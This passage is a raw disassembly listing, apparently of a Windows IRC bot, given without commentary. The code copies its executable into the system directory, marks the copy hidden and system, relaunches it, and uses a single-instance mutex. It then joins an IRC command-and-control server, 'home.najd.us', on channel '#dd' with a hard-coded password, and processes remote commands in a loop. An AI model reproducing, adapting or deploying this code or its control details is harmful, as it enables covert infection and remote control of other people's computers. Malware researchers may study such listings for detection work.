		add	esp, 20h


loc_40C3DE:				; CODE XREF: sub_40C337+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40B078
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C409	proc near		; CODE XREF: sub_40CD3A+51BEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40C42A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C337
		add	esp, 10h
		jmp	short loc_40C489
; ---------------------------------------------------------------------------


loc_40C42A:				; CODE XREF: sub_40C409+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43C4C4
		lea	esi, [eax+2]
		push	esi
		call	sub_415BE9
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43C4C4
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40C480


loc_40C44E:				; CODE XREF: sub_40C409+75j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C471
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C337
		add	esp, 10h


loc_40C471:				; CODE XREF: sub_40C409+54j
		push	esi
		call	sub_415B10
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_40C44E


loc_40C480:				; CODE XREF: sub_40C409+43j
		push	edi
		call	sub_415C9B
		pop	ecx
		pop	edi
		pop	esi


loc_40C489:				; CODE XREF: sub_40C409+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40C409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C48C	proc near		; DATA XREF: sub_40C574+11o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4416D4
		call	dword_43C5EC
		call	sub_414F9D
		call	dword_43C4B4
		call	dword_43C4B4
		mov	ebx, dword_421060
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415390
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415390
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43B188
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jz	short loc_40C551
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_42106C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_40C551:				; CODE XREF: sub_40C48C+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_440944
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_421114	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_40C48C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C574	proc near		; CODE XREF: seg001:00417BE1p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40C48C
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	dword_42C254, ebx
		jz	short loc_40C5AA
		call	sub_409EBC


loc_40C5AA:				; CODE XREF: sub_40C574+2Fj
		mov	esi, dword_42104C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_46A9B8, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		call	sub_40891C
		push	2
		call	dword_43C600
		push	7530h
		push	offset aId999	; "id999"
		push	ebx
		push	ebx
		call	dword_42112C	; CreateMutexA
		push	eax
		call	dword_421128	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40C5FE
		push	1
		call	dword_421114	; ExitProcess


loc_40C5FE:				; CODE XREF: sub_40C574+80j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_43C4CC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40CA4F
		cmp	[ebp+var_884], 2
		jnz	loc_40CA49
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40CA49
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_4171E8
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_4158E0
		add	esp, 30h
		test	eax, eax
		jnz	loc_40C852
		cmp	dword_46AB24, ebx
		mov	esi, offset byte_42C2BC
		jz	short loc_40C6F9
		push	esi
		xor	edi, edi
		call	sub_415B10
		sub	eax, 4
		pop	ecx
		jz	short loc_40C6F9


loc_40C6D6:				; CODE XREF: sub_40C574+183j
		call	sub_415372
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42C2BC[edi], dl
		inc	edi
		call	sub_415B10
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40C6D6


loc_40C6F9:				; CODE XREF: sub_40C574+152j
					; sub_40C574+160j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_415316
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C739
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_4210F4	; SetFileAttributesA


loc_40C739:				; CODE XREF: sub_40C574+1B1j
		mov	esi, dword_421124
		xor	edi, edi
		jmp	short loc_40C765
; ---------------------------------------------------------------------------


loc_40C743:				; CODE XREF: sub_40C574+204j
		call	dword_421088	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40C77A
		cmp	eax, 20h
		jz	short loc_40C757
		cmp	eax, 5
		jnz	short loc_40C77A


loc_40C757:				; CODE XREF: sub_40C574+1DCj
		xor	edi, edi
		push	3A98h
		inc	edi
		call	dword_421060	; Sleep


loc_40C765:				; CODE XREF: sub_40C574+1CDj
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax
		jz	short loc_40C743


loc_40C77A:				; CODE XREF: sub_40C574+1D7j
					; sub_40C574+1E1j
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_409C6E
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_4210F4	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_415390
		push	44h
		lea	eax, [ebp+var_64]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415390
		mov	[ebp+var_64], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_58], offset byte_43B188
		mov	[ebp+var_38], esi
		mov	[ebp+var_34], bx
		call	dword_421120	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_42111C	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_433244
		push	eax
		call	sub_415316
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jz	short loc_40C852
		push	0C8h
		call	dword_421060	; Sleep
		push	[ebp+var_1C]
		mov	esi, dword_42106C
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_43C4B4
		push	ebx
		call	dword_421114	; ExitProcess


loc_40C852:				; CODE XREF: sub_40C574+141j
					; sub_40C574+2B4j
		cmp	dword_46B650, 2
		jle	short loc_40C89E
		mov	eax, dword_46B654
		push	dword ptr [eax+4]
		call	sub_41587F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_421128	; WaitForSingleObject
		push	esi
		call	dword_42106C	; CloseHandle
		mov	eax, dword_46B654
		cmp	[eax+8], ebx
		jz	short loc_40C89E
		push	7D0h
		call	dword_421060	; Sleep
		mov	eax, dword_46B654
		push	dword ptr [eax+8]
		call	dword_421118	; DeleteFileA


loc_40C89E:				; CODE XREF: sub_40C574+2E5j
					; sub_40C574+30Fj
		cmp	dword_42C25C, ebx
		jz	short loc_40C8BB
		cmp	dword_43C620, ebx
		jnz	short loc_40C8BB
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_40B2B9
		pop	ecx


loc_40C8BB:				; CODE XREF: sub_40C574+330j
					; sub_40C574+338j
		lea	eax, [ebp+var_E4]
		push	offset dword_433218
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_E4]
		push	ebx
		push	eax
		call	sub_414DDA
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40B078
		push	0B80h
		push	ebx
		push	offset dword_440948
		call	sub_415390
		call	sub_415372
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_46A9C4
		mov	dword_46AB34, ebx
		call	sub_416BE0
		mov	eax, dword_42C240
		push	3Fh
		mov	edi, offset dword_46AA44
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_46AB14, eax
		call	sub_416BE0
		push	3Fh
		mov	esi, offset dword_46AA84
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416BE0
		add	esp, 48h
		mov	dword_46AB18, ebx


loc_40C949:				; CODE XREF: sub_40C574+47Bj
					; sub_40C574+486j ...
		mov	[ebp+var_4], ebx


loc_40C94C:				; CODE XREF: sub_40C574+42Fj
		cmp	dword_43C638, ebx
		jnz	short loc_40C96A
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	dword_43C498
		test	eax, eax
		jnz	short loc_40C96A
		push	7530h
		jmp	short loc_40C996
; ---------------------------------------------------------------------------


loc_40C96A:				; CODE XREF: sub_40C574+3DEj
					; sub_40C574+3EDj
		push	offset dword_46A9C0
		mov	dword_46AB30, ebx
		call	sub_40CA58
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40CA44
		cmp	dword_46AB30, ebx
		jz	short loc_40C991
		dec	[ebp+var_4]


loc_40C991:				; CODE XREF: sub_40C574+418j
		push	0BB8h


loc_40C996:				; CODE XREF: sub_40C574+3F4j
		call	dword_421060	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40C94C
		cmp	[ebp+var_8], 2
		jz	loc_40CA44
		cmp	[ebp+var_C], ebx
		jz	short loc_40C9F4
		push	7Fh
		push	offset aHome_najd_us ; "home.najd.us"
		push	offset dword_46A9C4
		call	sub_416BE0
		mov	eax, dword_42C240
		push	3Fh
		push	offset aDd_0	; "#dd"
		push	edi
		mov	dword_46AB14, eax
		call	sub_416BE0
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_416BE0
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40C949
; ---------------------------------------------------------------------------


loc_40C9F4:				; CODE XREF: sub_40C574+43Ej
		cmp	byte_42C2A0, bl
		jz	loc_40C949
		push	7Fh
		push	offset byte_42C2A0
		push	offset dword_46A9C4
		call	sub_416BE0
		mov	eax, dword_42C244
		push	3Fh
		push	offset dword_42C2B0
		push	edi
		mov	dword_46AB14, eax
		call	sub_416BE0
		push	3Fh
		push	offset aDpass_0	; "dpass"
		push	esi
		call	sub_416BE0
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40C949
; ---------------------------------------------------------------------------


loc_40CA44:				; CODE XREF: sub_40C574+40Cj
					; sub_40C574+435j
		call	sub_414F9D


loc_40CA49:				; CODE XREF: sub_40C574+AEj
					; sub_40C574+BEj
		call	dword_43C4B4


loc_40CA4F:				; CODE XREF: sub_40C574+A1j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40C574	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA58	proc near		; CODE XREF: sub_40C574+401p
					; DATA XREF: sub_40CD3A+393Fo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40CA7D:				; CODE XREF: sub_40CA58+E6j
					; sub_40CA58+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43C554
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_409F7A
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CBBA
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415390
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_46AB28
		push	dword_42C268
		push	eax
		call	sub_414278
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4416E0
		push	edi
		push	eax
		call	sub_416BE0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43C5D4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4416D4[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43C4FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CB43
		push	esi
		call	dword_43C5EC
		call	sub_409FA3
		push	7D0h


loc_40CB38:				; CODE XREF: sub_40CA58+146j
		call	dword_421060	; Sleep
		jmp	loc_40CA7D
; ---------------------------------------------------------------------------


loc_40CB43:				; CODE XREF: sub_40CA58+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_433250
		call	sub_40B0EC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CBBE
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43C5EC
		test	edi, edi
		jz	loc_40CA7D
		cmp	edi, 1
		jnz	short loc_40CBA0
		push	0DBBA0h
		jmp	short loc_40CB38
; ---------------------------------------------------------------------------


loc_40CBA0:				; CODE XREF: sub_40CA58+13Fj
		cmp	edi, 2
		jnz	loc_40CA7D
		push	[ebp+var_34]
		call	sub_4150F0
		pop	ecx
		push	edi
		pop	eax


loc_40CBB4:				; CODE XREF: sub_40CA58+164j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40CBBA:				; CODE XREF: sub_40CA58+5Aj
		xor	eax, eax
		jmp	short loc_40CBB4
sub_40CA58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CBBE	proc near		; CODE XREF: sub_40CA58+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_415B90
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40CBDC:				; CODE XREF: sub_40CBBE+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CBDC
		cmp	byte_46AB2C, bl
		jz	short loc_40CC03
		push	offset byte_46AB2C
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_412B8B
		add	esp, 0Ch


loc_40CC03:				; CODE XREF: sub_40CBBE+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_414278
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_415316
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CC6D
		push	[ebp+arg_0]
		call	dword_43C5EC
		push	1388h
		call	dword_421060	; Sleep


loc_40CC66:				; CODE XREF: sub_40CBBE+D9j
					; sub_40CBBE+153j
		xor	eax, eax


loc_40CC68:				; CODE XREF: sub_40CBBE+16Fj
					; sub_40CBBE+177j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CC6D:				; CODE XREF: sub_40CBBE+92j
					; sub_40CBBE+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43C56C
		test	eax, eax
		jle	short loc_40CC66
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_409965
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CC6D
		lea	edi, [ebp+var_A10]


loc_40CCBE:				; CODE XREF: sub_40CBBE+165j
		xor	esi, esi
		inc	esi


loc_40CCC1:				; CODE XREF: sub_40CBBE+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40CD3A
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CD04
		push	7D0h
		call	dword_421060	; Sleep
		jmp	short loc_40CCC1
; ---------------------------------------------------------------------------


loc_40CD04:				; CODE XREF: sub_40CBBE+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CD32
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CD2A
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CC66
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CCBE
		jmp	loc_40CC6D
; ---------------------------------------------------------------------------


loc_40CD2A:				; CODE XREF: sub_40CBBE+14Ej
		xor	eax, eax
		inc	eax
		jmp	loc_40CC68
; ---------------------------------------------------------------------------


loc_40CD32:				; CODE XREF: sub_40CBBE+149j
		push	2
		pop	eax
		jmp	loc_40CC68
sub_40CBBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD3A	proc near		; CODE XREF: sub_40CBBE+12Ap

var_27D4	= byte ptr -27D4h
var_23D4	= byte ptr -23D4h
var_21D4	= byte ptr -21D4h
var_1FD4	= byte ptr -1FD4h
var_1ED4	= byte ptr -1ED4h
var_1DD4	= byte ptr -1DD4h
var_1DD0	= byte ptr -1DD0h
var_1CD0	= dword	ptr -1CD0h
var_1CCC	= dword	ptr -1CCCh
var_1CC8	= byte ptr -1CC8h
var_1C48	= byte ptr -1C48h
var_1BC8	= byte ptr -1BC8h
var_1B48	= byte ptr -1B48h
var_1AC8	= byte ptr -1AC8h
var_1A48	= dword	ptr -1A48h
var_1A44	= dword	ptr -1A44h
var_1A40	= dword	ptr -1A40h
var_1A3C	= dword	ptr -1A3Ch
var_1A38	= byte ptr -1A38h
var_19B8	= byte ptr -19B8h
var_1938	= byte ptr -1938h
var_18B8	= byte ptr -18B8h
var_1838	= dword	ptr -1838h
var_1834	= dword	ptr -1834h
var_1830	= dword	ptr -1830h
var_182C	= dword	ptr -182Ch
var_1828	= dword	ptr -1828h
var_1824	= byte ptr -1824h
var_17A4	= byte ptr -17A4h
var_1724	= byte ptr -1724h
var_16A4	= dword	ptr -16A4h
var_16A0	= dword	ptr -16A0h
var_169C	= dword	ptr -169Ch
var_1698	= dword	ptr -1698h
var_1694	= byte ptr -1694h
var_1690	= byte ptr -1690h
var_1590	= byte ptr -1590h
var_158C	= byte ptr -158Ch
var_150C	= byte ptr -150Ch
var_14CC	= byte ptr -14CCh
var_143C	= dword	ptr -143Ch
var_1438	= dword	ptr -1438h
var_1434	= dword	ptr -1434h
var_1430	= dword	ptr -1430h
var_142C	= dword	ptr -142Ch
var_1428	= byte ptr -1428h
var_1424	= dword	ptr -1424h
var_1420	= byte ptr -1420h
var_13A0	= byte ptr -13A0h
var_1324	= byte ptr -1324h
var_129C	= byte ptr -129Ch
var_1220	= dword	ptr -1220h
var_121C	= dword	ptr -121Ch
var_1218	= dword	ptr -1218h
var_1214	= byte ptr -1214h
var_1198	= dword	ptr -1198h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= byte ptr -1184h
var_1104	= byte ptr -1104h
var_1084	= byte ptr -1084h
var_1004	= dword	ptr -1004h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= dword	ptr -0FE8h
var_FE0		= byte ptr -0FE0h
var_F60		= byte ptr -0F60h
var_EE0		= dword	ptr -0EE0h
var_EDC		= dword	ptr -0EDCh
var_ED8		= dword	ptr -0ED8h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC0		= dword	ptr -0EC0h
var_EBC		= byte ptr -0EBCh
var_DB8		= dword	ptr -0DB8h
var_DB4		= byte ptr -0DB4h
var_D34		= byte ptr -0D34h
var_C35		= byte ptr -0C35h
var_C34		= byte ptr -0C34h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= dword	ptr -0B2Ch
var_B28		= dword	ptr -0B28h
var_B24		= dword	ptr -0B24h
var_B20		= dword	ptr -0B20h
var_B1C		= dword	ptr -0B1Ch
var_B18		= dword	ptr -0B18h
var_B14		= dword	ptr -0B14h
var_B10		= byte ptr -0B10h
var_A90		= dword	ptr -0A90h
var_A8C		= byte ptr -0A8Ch
var_A80		= byte ptr -0A80h
var_A7C		= byte ptr -0A7Ch
var_A0C		= byte ptr -0A0Ch
var_98C		= dword	ptr -98Ch
var_988		= dword	ptr -988h
var_984		= dword	ptr -984h
var_980		= dword	ptr -980h
var_97C		= byte ptr -97Ch
var_970		= byte ptr -970h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= dword	ptr -860h
var_858		= byte ptr -858h
var_84C		= dword	ptr -84Ch
var_848		= byte ptr -848h
var_844		= byte ptr -844h
var_748		= byte ptr -748h
var_740		= byte ptr -740h
var_6C8		= dword	ptr -6C8h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= dword	ptr -6B0h
var_6AC		= dword	ptr -6ACh
var_6A8		= byte ptr -6A8h
var_628		= byte ptr -628h
var_5A8		= dword	ptr -5A8h
var_5A4		= dword	ptr -5A4h
var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_588		= byte ptr -588h
var_578		= byte ptr -578h
var_4F8		= byte ptr -4F8h
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= byte ptr -43Ch
var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_39C		= byte ptr -39Ch
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_38C		= dword	ptr -38Ch
var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= byte ptr -364h
var_33C		= byte ptr -33Ch
var_31C		= dword	ptr -31Ch
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= byte ptr -2D8h
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= word ptr -0D0h
var_CE		= word ptr -0CEh
var_CC		= dword	ptr -0CCh
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
